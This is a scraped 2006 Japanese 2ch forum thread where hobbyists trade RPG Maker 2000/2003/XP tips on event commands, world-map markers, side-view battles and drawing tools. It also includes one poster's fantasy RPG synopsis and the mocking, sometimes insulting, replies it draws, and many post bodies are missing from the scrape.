2006/11/21(火) 23:36:28ID:klpEbWwk0640名前は開発中のものです。
2006/11/22(水) 00:56:47ID:hi0t3O0H管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。
0641名前は開発中のものです。
2006/11/22(水) 01:19:34ID:0iBiQGom0642名前は開発中のものです。
2006/11/22(水) 01:31:08ID:pY8WoX1x名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね?
\N[n]が有効なところは限られてるから、ムリな気がする。
デフォルトネームに重複してるかは判定できるけど。
同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない?
名前入力を使ったイベントを組みたいなら、考え直すしかないかと。
0643名前は開発中のものです。
2006/11/22(水) 01:50:33ID:7azrMRpP日本の法ってややこしいな・・・サンクス!!
0644名前は開発中のものです。
2006/11/22(水) 05:37:38ID:mVS2A34Pさすがゲ製作技術板だ。
0645名前は開発中のものです。
2006/11/22(水) 23:31:08ID:7azrMRpPツクールで何か作品完成させたことある? もしよければ教えて欲しい
0646名前は開発中のものです。
2006/11/22(水) 23:40:21ID:mysPVd5M完成させた奴は自分のHPでも作ってそっちでやってるよ。
0647名前は開発中のものです。
2006/11/23(木) 00:18:17ID:7KmoeQ9B作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった
0648名前は開発中のものです。
2006/11/23(木) 00:38:08ID:+GxueJkn0649名前は開発中のものです。
2006/11/23(木) 04:02:07ID:TV1BVAmA0650名前は開発中のものです。
2006/11/23(木) 12:40:55ID:jIcHT9mO>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。
0651名前は開発中のものです。
2006/11/23(木) 20:24:38ID:b+j04Nn60652名前は開発中のものです。
2006/11/23(木) 21:03:20ID:/g98BoGv命令が効いたり効かなかったり…ということが起こってしまった。
自作メニューをマップで作っていて、
メニューマップに行く前に「主人公の向き固定」
元のマップに行く前に「向き固定解除」で
「指定動作の全実行」はどちらとも直後に入れてる。
なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。
この部分に関してはむちゃくちゃ単純だから、
イベントの組み方が変というわけではないと思うんだけど…。
こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?
0653名前は開発中のものです。
2006/11/23(木) 21:13:17ID:4xFaXXJ00654名前は開発中のものです。
2006/11/23(木) 21:46:35ID:TV1BVAmA別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに?
サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は
短い物もあるが十分な完成作品といえる出来だと思うが?
0655名前は開発中のものです。
2006/11/23(木) 22:08:09ID:rTH5Jy9hつか、面倒ならメニューに入る時の向きを変数で管理して、
メニューから戻る時に代入された変数に応じて向きを変更すればおk。
0656名前は開発中のものです。
2006/11/23(木) 22:48:10ID:/g98BoGv決定キー押してるとダッシュできるようにしてたんだけど
たぶんそれのせいだ。
書いてなかったことが原因ですまん。
うpしようかとメニュー関連だけ取り出したら、
それまで5回に1回くらいは不具合起きてたのが
ピタッと止まったのでわかった。
ともかくここに相談したことで原因解明した。ありがと。
0658名前は開発中のものです。
2006/11/24(金) 01:40:48ID:x5Afjfuy0659名前は開発中のものです。
2006/11/24(金) 14:06:04ID:vHrxg56h0660名前は開発中のものです。
2006/11/24(金) 14:44:50ID:/E6j1+Wk0661タナ栗粉
2006/11/24(金) 19:26:50ID:iYQRpe0E初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな
今はかなりよくなった。俺のRPGのシナリオ知りたいひと
0662名前は開発中のものです。
2006/11/24(金) 21:11:43ID:7QD5YBkK一体いつになったら出来るんだよ?
0663タナ栗粉
2006/11/24(金) 21:30:02ID:iYQRpe0E0664名前は開発中のものです。
2006/11/24(金) 22:42:09ID:1hNXieKM0665名前は開発中のものです。
2006/11/25(土) 04:52:52ID:OSfej1q90666タナ栗粉
2006/11/25(土) 12:47:02ID:eRvJ5j5Wあーもういいよ ばーかばーか
0667名前は開発中のものです。
2006/11/25(土) 14:48:46ID:ch6mcSIS脳内で作ったストーリーなんてまともなもんじゃねーし
ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?
0668名前は開発中のものです。
2006/11/25(土) 16:19:52ID:jfDjeXNVああ、ワードでまとめてくれれば、
こっちも評価のしようがあるんだけどな。
0669タナ栗粉
2006/11/25(土) 17:06:03ID:eRvJ5j5Wあー なるほどお 強大な敵は若い芽のうちにってわけ?
0670名前は開発中のものです。
2006/11/25(土) 17:08:52ID:IMhFadJqシステムツクって燃え尽きちまう。
0671名前は開発中のものです。
2006/11/25(土) 17:12:48ID:jfDjeXNVいやいや、設定を箇条書きにしたものだけでいいからさ。
ワードでまとめて、ロダに上げてくれや。
ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?
0672名前は開発中のものです。
2006/11/25(土) 17:15:06ID:rgV5wg960673名前は開発中のものです。
2006/11/25(土) 17:37:23ID:ch6mcSIS自分の作ったストーリーの筋書きもまとめられない奴を
「強大な敵」とは呼べないな。少なくとも俺は。
0674タナ栗粉
2006/11/25(土) 18:47:02ID:eRvJ5j5W0675名前は開発中のものです。
2006/11/25(土) 18:57:13ID:jfDjeXNVおう。
ワードでちゃんとまとめてな。
よろしく頼むぜ!
0676名前は開発中のものです。
2006/11/25(土) 19:50:05ID:zT/yEFpr0677名前は開発中のものです。
2006/11/25(土) 20:00:42ID:zT/yEFprところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp
0678名前は開発中のものです。
2006/11/25(土) 20:02:54ID:unIdZTV30679名前は開発中のものです。
2006/11/25(土) 20:03:32ID:kRzKcBcu再現して個人で楽しむ分にはほとんど問題ないかと
それを公開するとかはアレだな クロゲパ行き
クロゲパに行ったところでどうなるって問題じゃないけどな
0680名前は開発中のものです。
2006/11/25(土) 20:04:47ID:kRzKcBcu要は再現するだけならいいんじゃね?って話
0681名前は開発中のものです。
2006/11/25(土) 20:06:37ID:zT/yEFprレスサンクス♪
練習用だし、あくまで個人的なものだからよかったゎw
0682タナ栗粉
2006/11/25(土) 21:29:20ID:eRvJ5j5Wオヴェルスの翼
【あらすじ 設定】
「聖なる地オヴェルス それはすべての始まりの場所
悲しみも絶望も そして光さえも」
レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。
ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。
ヨミの前では新兵器の「銃」ですら玩具同然だった。
家族を切り裂かれ友をほふられ 人々は滅びを決意する。
しかしある日 オヴェルスから翼を持った古代生物が四体発見された。
聖地から発見されたというその生物は神獣と名付けられた。
そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。
そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。
時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。
そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め
「オヴェルスの翼」と呼ばれるようになった。
オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。
そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。
オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ
小隊の隊長や各隊の伝令、監視を行う「黒羽」
隊長の補佐などを行う「赤羽」
そして通常の戦闘員である最下層「白羽」からなる。
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
0683タナ栗粉
2006/11/25(土) 21:30:24ID:eRvJ5j5W白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。
そして白羽でありながら黒羽以上の力を発揮するツウァイス
物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく
しかしツウァイスは自分の感情を決して表に出そうとはしない
そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る
そしてそれはかつてのツウァイスの恩人だった。
オヴェルスの翼となるための代償
それは神獣の細胞の拒絶反応により定期的にくる激痛
そして記憶を少しずつ無くしていくことだった
更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。
しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。
あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。
いつも憎しみに塗れた剣を振るうツウァイス。
その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。
恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。
誰よりも優しく 誰よりもお人好しだった かつての恩人
そんな恩人がわけもわからず人を傷つけている
その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。
復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。
そして再び剣を取る
0684名前は開発中のものです。
2006/11/25(土) 21:48:27ID:t8pTfz4lwordで上げろ、読む気がしない。
0685名前は開発中のものです。
2006/11/25(土) 21:51:11ID:eRvJ5j5W0686名前は開発中のものです。
2006/11/25(土) 22:02:44ID:t8pTfz4lそれはいいことを聞いた。
ほれ、
>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
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0687名前は開発中のものです。
2006/11/25(土) 22:06:58ID:eRvJ5j5W0688名前は開発中のものです。
2006/11/25(土) 22:09:09ID:2LGL7lkQ最近の携帯は画面スクロールとかしやすいし
NEC製のだとマウスみたいな操作もできるから
それあまり効果ないかもしれんぞ
0689タナ栗粉
2006/11/25(土) 22:59:14ID:eRvJ5j5W0690名前は開発中のものです。
2006/11/25(土) 23:15:58ID:3jSNoGBk特に何も考えずアホのようなイベントをつくりまくって
自己満足していた俺だが、2000に手を出して
できることの広さとパソコン多少理解してないと
ほとんどやりたいこと出来ない現実をみて落ち込んでいる。
戦闘をサイドビューにする気になればできるとか。
パソコンが解んない俺はイベント命令だけで作るしかないよな。
0691名前は開発中のものです。
2006/11/25(土) 23:36:59ID:H3nNdd4i2003を買えばすぐできるお( ^ω^)
あとは、付属のサンプルを見て少しずつ真似していくとかな。
0692名前は開発中のものです。
2006/11/25(土) 23:38:32ID:Aav2aPGs0693名前は開発中のものです。
2006/11/25(土) 23:48:14ID:2LGL7lkQ一番簡単なサイドビュー表示の仕方は
戦闘背景にキャラ書いちゃうことだ
これだとアニメーションさせられないのと
メンバー入れ替えするなら背景も変更させないといけないという
面倒な欠点もあるけどね
0694名前は開発中のものです。
2006/11/25(土) 23:53:39ID:WaX5/QGK素材不足に悩まされることが多い
0695名前は開発中のものです。
2006/11/26(日) 00:10:14ID:as2QHKUPペイントで横向き画像を90度回転。
0696名前は開発中のものです。
2006/11/26(日) 00:22:30ID:pU9VHTGH書いたあとでちょっと厨っぽいこと書いたなと反省したが、
こんな質問でもマジレスしてくれる人いるんだな。サンクス。
画力があればなんとかなったりするんだな。
まあ俺は画力ちっともないんだが…。
少し気が楽になった。ありがとう。
0697名前は開発中のものです。
2006/11/26(日) 02:35:27ID:DbP4CArp0698名前は開発中のものです。
2006/11/26(日) 08:43:21ID:e7IFC+Rc0699タナ栗粉
2006/11/26(日) 12:13:38ID:D10CnOGRやっぱ才能がありすぎるというのは罪ってのも納得だな
0700名前は開発中のものです。
2006/11/26(日) 14:17:08ID:7KR2Etiqこれが思い浮かんだ……w
0701名前は開発中のものです。
2006/11/26(日) 16:06:39ID:Ev2z28G2URL開く前から何か分かった俺は勝ち組w
0702名前は開発中のものです。
2006/11/26(日) 21:11:30ID:v4u8P29O凄い才能ですね。
こんな才能のない連中のいるゲ作板にあなたのような人は近寄るべきではないと思います。
あなたのように才能溢れた人たちが集まる場所に移動するべきではないでしょうか。
お勧め場所は「VIP板」です。アソコには才能が頭蓋骨からあふれ出ちゃった人たちが常駐しています。
あなたも「VIP板」で「才能が頭蓋骨から溢れちゃってる俺様がゲームを作るスレ」あたりのタイトルでスレを立ててください。
0703タナ栗粉
2006/11/26(日) 21:23:44ID:D10CnOGRおっとスレがだいぶ脱線してしまったな 俺は意外にもこのスレを大切に思っているのでしばらく消えてみよ
あでゅー^^
0704名前は開発中のものです。
2006/11/27(月) 01:14:09ID:x7XZg3u1とりあえずこのスレから覗いてみるといいよ。
VIPが無いと暇
http://etc3.2ch.net/test/read.cgi/siberia/1163501952/l50
0705名前は開発中のものです。
2006/11/27(月) 03:45:41ID:77PrszSN0706名前は開発中のものです。
2006/11/27(月) 10:14:12ID:efDdnjp2ツクールXPにてマップチップやキャラチップを作成する上でお勧めの描画ツールは
何がありますでしょうか?
0707名前は開発中のものです。
2006/11/27(月) 12:29:07ID:F/tC4fNk0708名前は開発中のものです。
2006/11/27(月) 13:57:05ID:+j8NyQCr0709名前は開発中のものです。
2006/11/27(月) 14:00:15ID:dQe3QpCG0710名前は開発中のものです。
2006/11/27(月) 14:01:51ID:Hm1NBkGmフリーであれは素晴らしいと思うよ。
使ったことないけど。
0711名前は開発中のものです。
2006/11/27(月) 14:58:06ID:S8cl0zEoチップ素材はドット打ちが基本だから256色なら
「EDGE」 http://www.tkb-soft.hmcbest.com/program/win/edge/
フルカラーなら
「GraphicsGale」 http://www.humanbalance.net/gale/
さらにフルカラーPNGをαチャンネル透過付きで出力したいなら
「PictBear SE」 http://sleipnir.pos.to/software/pbse/
辺りがいいんじゃないか?
GIMPは高機能だし十分だけど、GUIがLinuxライクなのと高機能であるがゆえに
機能の割り当てを把握するのが初心者には非常に難しいからあまりお薦めしない。
0712名前は開発中のものです。
2006/11/28(火) 00:02:38ID:4xM3nFKz作りこまないとデフォ戦に劣るが、作りこむならスクリプト使えるxpで作りたいジレンマ
0713名前は開発中のものです。
2006/11/28(火) 01:04:29ID:DjBynyzm2000の自作って何のメリットがあるのかわからん。
XPだと他にデメリットがあるから2000ってんなら話はわかるけど
0714名前は開発中のものです。
2006/11/28(火) 18:59:05ID:xSki4YQJこだわりたいか気にしないかという単純な考えによると思うんだが・・・
制限の中で色々試行錯誤する楽しみもツクールにはあると俺は考えるぜ?
0715名前は開発中のものです。
2006/11/28(火) 19:06:01ID:xtejKipuと言うと疑問。
というよりそもそも>712は「作りこむならスクリプト使えるxpで」と言ってるんだから、
楽しみなんか感じてないだろうしなぁ。
0716名前は開発中のものです。
2006/11/28(火) 19:51:11ID:4xM3nFKzさすがに楽しみを感じないって事は無いぜ、処理の方法とか試行錯誤するのは割と好きだし
もうしばらく2000で頑張ってみる事にする
0717名前は開発中のものです。
2006/11/28(火) 21:50:16ID:jG/NvvncRubyがいいってわけじゃなくて、ツール中のスクリプトエディタの中をじっくり見てると
この処理はこうやってるんだってのがわかる。
VBで仕事用のしょうもないアプリ作っててもゲーム作りはできるようにならないよな。
0718名前は開発中のものです。
2006/11/28(火) 21:55:16ID:igIecFqvツクール2000でゲームを作ろうと思ったら、突然マップツリーデータが壊れていますとか言ってゲームが作れなくなったんだけど。
これって他になった奴いる?
対処法とかあるのかね?
0719名前は開発中のものです。
2006/11/28(火) 22:26:56ID:Q3B8iOYbチーン
0720名前は開発中のものです。
2006/11/29(水) 00:07:54ID:3X2v9GAsttp://diarynote.jp/d/46594/_0_50.html
の5月4日
でもデーターベースが劣化するの痛い痛い
以前同じ状態になって、今も完全復旧できてない
0721名前は開発中のものです。
2006/11/29(水) 09:07:54ID:mpLisTa70722名前は開発中のものです。
2006/11/29(水) 10:13:47ID:RFocoNSHXPでは自由な大きさのキャラが作れるので気に入ったんですが。
あと単独EXEにできる点もかな。
0723名前は開発中のものです。
2006/11/29(水) 10:52:02ID:fVeCZEa/0724名前は開発中のものです。
2006/11/29(水) 14:53:47ID:JXFXiPDkバッグアップw
0725名前は開発中のものです。
2006/11/29(水) 17:34:24ID:/3VbJ5ip1キャラの大きさは固定だけど
キャラチップをいくつか並べれば好きな大きさにできる。
足元が動いたら周りも同じように動くよう設定しなきゃなんないけど。
0726名前は開発中のものです。
2006/11/29(水) 18:08:27ID:epYJz9gzそのイベントが勝手に下向きになってしまうのは仕様?
勝手に下向きになってしまう系の仕様って何かあったっけ?
0727名前は開発中のものです。
2006/11/29(水) 18:15:18ID:mpLisTa7ページ変えたから、とかじゃないの?
0728名前は開発中のものです。
2006/11/29(水) 18:26:52ID:epYJz9gz「イベントから触れたとき」「通常キャラの下」のイベントが
主人公と重なると、重なる瞬間に下向きになる。
イベント実行内容には、イベントグラフィック変更も下向き命令も存在しない。
わけわかめ。
0729名前は開発中のものです。
2006/11/29(水) 18:31:51ID:mpLisTa70730名前は開発中のものです。
2006/11/29(水) 18:44:24ID:epYJz9gzそのイベントは、移動中にはしっかり向き固定してたのに、
やはり触れたとたんに下向きに・・・。
人生オワタ\(^o^)/
0731名前は開発中のものです。
2006/11/29(水) 18:49:40ID:eJZ8HFzu0732名前は開発中のものです。
2006/11/29(水) 18:53:51ID:NnZ1TQQbマップに配置したイベントに触れてイベントを開始させる方法ってある?
0733名前は開発中のものです。
2006/11/29(水) 18:56:57ID:epYJz9gzすまん、ありがとう。
もう別の手で行くことにするよ・・・。
みなも、やってみると同じ症状がでる・・・かも?
0734名前は開発中のものです。
2006/11/29(水) 19:10:51ID:KbwIMQsl0735名前は開発中のものです。
2006/11/29(水) 19:16:33ID:a5CTLXX5スマソ、それってプレイヤーが操作する主人公でもできる?
でかいキャラを自由に動かしたいんだが
0736名前は開発中のものです。
2006/11/29(水) 19:20:21ID:ldbwnNd5イベント位置の座標を監視して自動開始とかは嫌い?
0737名前は開発中のものです。
2006/11/29(水) 20:03:26ID:NnZ1TQQbやはりそれしかないか。
もう既に並列処理を常時いくつか使ってるから、
できれば避けたかったんだよな。
0738名前は開発中のものです。
2006/11/29(水) 20:22:08ID:ldbwnNd5どんなマップか分からないからなんだけど、飛行船の影が来る一段上にイベントを置くのは?
んでイベント開始を、条件分岐で飛行船に乗っている時に起きるようにするとか。
0739737
2006/11/29(水) 20:58:24ID:H5oiQwVNああいや、飛行船の画像と中心座標がずれてることが問題じゃなくて、
イベント開始条件が「主人公から触れた時」の場合に、
飛行船に乗ってる状態で触れても開始しないことが問題なんだわ。
0740名前は開発中のものです。
2006/11/29(水) 21:09:45ID:HFV3usiaやはり座標を監視するイベントが無難だろうな。
0741名前は開発中のものです。
2006/11/29(水) 22:03:33ID:ldbwnNd5飛行船に乗っているとき「主人公から触れたとき」ではなく
「イベントから触れたとき」なら実行されるから、それを利用するのは?
0742名前は開発中のものです。
2006/11/29(水) 23:10:11ID:H5oiQwVNそれは盲点だった、サンクス。
0743名前は開発中のものです。
2006/12/01(金) 00:15:33ID:jUkxd+7pピクチャー表示コマンドを置くと、スイッチで締めるかなんかしない限り
一生表示されない気がする。
0744名前は開発中のものです。
2006/12/01(金) 23:27:49ID:uXnPOTH00745名前は開発中のものです。
2006/12/01(金) 23:57:12ID:sZBF08Lw0746名前は開発中のものです。
2006/12/02(土) 00:16:41ID:K8/OA4XIあと、2000で一度データを開いてから再びRPG_RT.exeを2000から2003に差し替えると、
詳しい仕組みは知らんが、2000のくせに2003verでテストプレイが出来る。
0747名前は開発中のものです。
2006/12/02(土) 00:19:31ID:K8/OA4XI上記のは、あくまで開く事が可能なだけであって、ゲームを起動するって言うなら無理。
2003と2000じゃデフォ戦闘システムが違うから。
0748名前は開発中のものです。
2006/12/02(土) 00:23:27ID:hLaHD8paコモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
0749名前は開発中のものです。
2006/12/02(土) 00:36:14ID:vd73J6P8まともに機能するならすげー便利な気がするが…
0750名前は開発中のものです。
2006/12/02(土) 00:46:33ID:LW/SFOUZ0751名前は開発中のものです。
2006/12/02(土) 09:42:25ID:CmTcipHs並列処理で主人公の位置を取得して
その上部に上半身の絵が来るようにすればできるんじゃない?
ツクールのテクニック大量に紹介してるサイトでもっと詳しく解説してた
そこではピクチャ使ってたけど
0752名前は開発中のものです。
2006/12/02(土) 11:10:48ID:HPEjgRiP結局その機能を使ってるユーザーはまったくいない。
0753名前は開発中のものです。
2006/12/02(土) 11:13:02ID:hLaHD8paコモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
0754名前は開発中のものです。
2006/12/02(土) 13:23:01ID:uTvAXDZY戦闘中にコモン呼び出しは2003からコピーしたんだと思う。
0755名前は開発中のものです。
2006/12/02(土) 13:36:27ID:hLaHD8pa「未知のコマンド」になるんだけど・・・。
0756名前は開発中のものです。
2006/12/02(土) 14:11:03ID:7ym39Z/pなにやらせてんの?
0757名前は開発中のものです。
2006/12/02(土) 14:44:15ID:hLaHD8paとりあえず動くかテストで文章表示とかさせてるけど
0758名前は開発中のものです。
2006/12/02(土) 17:47:00ID:gqHPMPKJ盗むの結果を表示する
ヘルプウィンドウの表示時間が短くて何を盗んだか読み難く、
ヘルプウィンドウの表示時間を伸ばしたいのですが、
如何すれば宜しいでしょうか?
0759名前は開発中のものです。
2006/12/02(土) 23:45:44ID:4YZh1zne0761名前は開発中のものです。
2006/12/03(日) 11:43:44ID:nFczpNZl0762名前は開発中のものです。
2006/12/03(日) 12:15:33ID:M5WXv+QN0763名前は開発中のものです。
2006/12/03(日) 13:41:56ID:WPcmOv/w普通に作るのと同じじゃないかね。
Youどういうのを作りたいのか「ワールドマップ」の定義がはっきりしてないよ。
0764名前は開発中のものです。
2006/12/03(日) 13:57:06ID:sJJss3DO遅くなったがトンクス
0765名前は開発中のものです。
2006/12/03(日) 15:35:24ID:3I6k80xQワールドマップを作ればいいんじゃないかな
0766名前は開発中のものです。
2006/12/03(日) 18:44:03ID:nFczpNZl決まったボタンを押すと画面全体がワールドマップ画面に切り替わって自分の今いる場所が点で表されるってのがいいんだけど。
一つ一つの大陸はそれぞれ違うマップで作ってあるからどうすればいいのかな
0767名前は開発中のものです。
2006/12/03(日) 19:59:13ID:09leiyZ10768名前は開発中のものです。
2006/12/03(日) 20:11:13ID:yf8aVlk6マップIDと座標から割り出した位置にマーカーを表示知ればいいだけじゃないの?
2000のコモンでもできるから、そのままXPでもコモンでできるっしょ。
0769名前は開発中のものです。
2006/12/03(日) 20:41:54ID:nFczpNZl0770名前は開発中のものです。
2006/12/03(日) 20:51:40ID:rbhtYr2V一回、自分の欲しいモノを整理して考えてみるといいよ。
マーカーはキャラでもいいわな。
0771名前は開発中のものです。
2006/12/03(日) 22:03:06ID:Sg5BOqzl安価なSXGA(1280×1024)の液晶ディスプレイでフルスクリーンにするとアスペクト比が変わってしまうのですが、
比率を保持したまま拡大できる機能のあるディスプレイを使用しないと液晶で2000製のゲームはプレイしづらいのでしょうか?
XPだとそこら辺はどうなっているのでしょうか?
0772名前は開発中のものです。
2006/12/03(日) 23:05:15ID:vJPFxLuW画面のプロパティで「画面の色」を16ビットにすれば
小さい方やフルスクリーンと同じくらいの軽さ。
XPはかなり重い。
0773名前は開発中のものです。
2006/12/03(日) 23:56:49ID:Sg5BOqzlそれじゃあツクールを使うのはやめます。
さようなら。
0774名前は開発中のものです。
2006/12/03(日) 23:58:01ID:Znz9Bg+c1 2 3
4 5 6
7 8 9
0 * #
って感じに並んでるよね?
自作戦闘で数字表示する時にセラブルみたいなイベントのページ毎に「あれが1以上ならキャラチップで1を表示」という条件じゃなくて
動作指定して1ページにまとめたいんだ
ただ動作指定は方向しか指定出来なくて?、正面向いてると258*しか表示出来ないのよ
イベントページのキャラチップ選択する所でチップ右側、左側、真中で右側にすれば1470、左側にすれば369#が表示出来るんだけど何とか1ページに押さえたい
意味不明な文章だけと誰か教えて下さい
0775名前は開発中のものです。
2006/12/04(月) 00:09:51ID:tPh54uiS0776名前は開発中のものです。
2006/12/04(月) 00:13:44ID:4pPJRYTKチップセットは、1キャラに対して12マス。
1 2 3
4 5 6
7 8 9
0 * #
で、一ページに抑えるとなると向き指定で揃えるしかないわけだから、
実質、使えるのは258*のマスのみ。
となれば、これを計三キャラ分(1〜4、5〜8、9〜12の数字に対応)作れば問題解決じゃないの?
仮に三つ作ってそれぞれ@ABとすれば、
条件指定で変数○○が1の時に@「上を向く」=1に対応
条件指定で変数○○が2の時に@「右を向く」=2に対応
条件指定で変数○○が3の時に@「下を向く」=3に対応
条件指定で変数○○が4の時に@「左を向く」=4に対応
…
条件指定で変数○○が12の時にB「左を向く」=12に対応
ってな具合で。ただ、個人的にはセラブル方式の方が楽のような気がする。
面倒って言うならピクチャーで表示するってのもありかと。
というか、チップ使ってこの手法ならピクチャーの方がまだ手軽。こんな感じでおk?
0777名前は開発中のものです。
2006/12/04(月) 00:21:08ID:4pPJRYTK作るマップチップはこんな感じで。(*は必要ないものと考えて)
* 1 *
* 2 *
* 3 *
* 4 *
* 5 *
* 6 *
* 7 *
* 8 *
* 9 *
* 0 *
* * *
* * *
0778名前は開発中のものです。
2006/12/04(月) 00:23:24ID:WETsvPETでも50しかないからすぐ足りなくなってこまる。
0779名前は開発中のものです。
2006/12/04(月) 00:38:35ID:CHZyBv0S動きが左・中央・右の状態のイベントをそれぞれ用意して、
表示する前に一つの場所に重ねておく。
で、条件を満たさないときは他の二つのイベントは透明にしておけばおk
0780名前は開発中のものです。
2006/12/04(月) 01:46:26ID:RrhcHK2zとりあえず、主人公の歩行グラフィックと顔グラフィックは変更してみたのだけど
能力や装備、アイテム、経験値、仲間などはどうすればいいかな
0781名前は開発中のものです。
2006/12/04(月) 11:02:15ID:kX51VxxZ0782名前は開発中のものです。
2006/12/04(月) 11:07:32ID:3WaEYHtw理解力も、理解しようという意思さえない池沼は諦めろ。
少しは自分で調べて努力しろや。
0783名前は開発中のものです。
2006/12/04(月) 11:43:47ID:kX51VxxZ0784名前は開発中のものです。
2006/12/04(月) 12:23:32ID:IBAie81FXPならまず640×480のワールドマップ用の画像を用意する、そして赤い点でもなんでもいいから
現在位置のマーカー用画像も用意する。
いくつかに分かれたマップの四隅の位置がワールドマップどの位置に来るかそれぞれ決める。
例えばある地域のマップはワールドマップ画像上での位置が左上隅が(150,100)右下隅は(300,200)の
位置に対応していたと仮定する、その地域のマップの広さが仮に30×20マスだったとする場合、
0,0=150,100、30,20=300,200に対応するのはわかると思う。
この地域のx座標の計算式は150+(x*5)、y座標の計算式は100+(y*5)となる。
高校1年生くらいの数学力があれば余裕で計算式は導けるはずなので、地域マップごとにこれを用意いて
マップIDと座標を監視して対応した計算式を呼び出し、マップを表示した後その上の対応した座標位置に
マーカーを表示するようにコモンを作れば基本的に2000でも2003でもXPで作れる。
0785名前は開発中のものです。
2006/12/04(月) 12:33:57ID:IBAie81F0786名前は開発中のものです。
2006/12/04(月) 13:20:35ID:MK/wSUpwツクール95のモングラをツクール2000で使用するには
どうすればいいでしょうか?
95からモングラを取りだす方法がわかりません・・・。
0787名前は開発中のものです。
2006/12/04(月) 13:45:43ID:JO+zXrGOまぁそもそも95と2000では解像度違うから使うのは難しいけどよ。
0788名前は開発中のものです。
2006/12/04(月) 17:31:05ID:a8d2o39b0789名前は開発中のものです。
2006/12/04(月) 20:55:14ID:tPh54uiS0790名前は開発中のものです。
2006/12/04(月) 21:02:12ID:IBAie81F2000はリサイズしないとダメだが2003やXPはインポートしなおせばいくらでも。
0791名前は開発中のものです。
2006/12/04(月) 21:44:41ID:TkCyf8n0もっと早く気づけw
しかし、こんなことも理解できないハエ並みの脳みそのどこが天才なんだろうか。
0792名前は開発中のものです。
2006/12/04(月) 21:52:07ID:XlxPdrm7天才を僻むなよw それにハエに脳はないっつーの
Are you understand?w
0793名前は開発中のものです。
2006/12/04(月) 21:54:30ID:GthU48mo0794名前は開発中のものです。
2006/12/04(月) 21:55:54ID:IBAie81Fどちらかと言えば子供に教えているっていうより50過ぎの機械が苦手なおばさんに機械の操作を教えてる気分だよ。
0795名前は開発中のものです。
2006/12/04(月) 22:11:00ID:cb90Larn>>767の段階で既に気付かれてるしなw
0796タナ栗粉
2006/12/04(月) 23:56:30ID:kX51VxxZ0797名前は開発中のものです。
2006/12/05(火) 00:21:26ID:TLtlNMgSAre you understand?
Are you understand?
釣りってレベルじゃねーぞ!
0798名前は開発中のものです。
2006/12/05(火) 00:23:44ID:a96Kzr+Cあー、先に言われたorz
0799タナ栗粉
2006/12/05(火) 00:58:17ID:TtHQ8+1C0800名前は開発中のものです。
2006/12/05(火) 01:25:12ID:eHyd0Jkd0801名前は開発中のものです。
2006/12/05(火) 02:09:35ID:G8kYGdQoこんなんじゃ表面上の友達しかいなくて、疎まれてるんだろうなぁ〜
人間がハエを疎むのと同じようにw
0802名前は開発中のものです。
2006/12/05(火) 02:32:07ID:xHQqqACp0803タナ栗粉 ◆8Tdr0tD9Mk
2006/12/05(火) 09:51:48ID:TtHQ8+1Cそんなことより特定のキャラにしかつかえないアイテムはどうやって作ればいい?
0804名前は開発中のものです。
2006/12/05(火) 11:03:58ID:CmrcImFODo you understand?
0805名前は開発中のものです。
2006/12/05(火) 11:05:22ID:eBeOnVnUif Aが○○○を使用したとき→アイテム効果
アイテム使用を途中でキャンセルしたとき→メッセージ出さずコマンドキャンセル
if A以外が○○○を使用したとき→効果が無かった
アイテム使用を途中でキャンセルしたとき→メッセージ出さずコマンドキャンセル
0806名前は開発中のものです。
2006/12/05(火) 13:24:12ID:TtHQ8+1C0807名前は開発中のものです。
2006/12/05(火) 13:59:44ID:C/hD6EsxThe person who can use it is specified just like the equipment goods of arms etc.
0808名前は開発中のものです。
2006/12/05(火) 15:06:39ID:TtHQ8+1C0809名前は開発中のものです。
2006/12/05(火) 16:13:42ID:Gk8j4tPT0810名前は開発中のものです。
2006/12/05(火) 16:31:24ID:SHI+kvUQ0811名前は開発中のものです。
2006/12/05(火) 21:12:11ID:C/hD6Esx0812名前は開発中のものです。
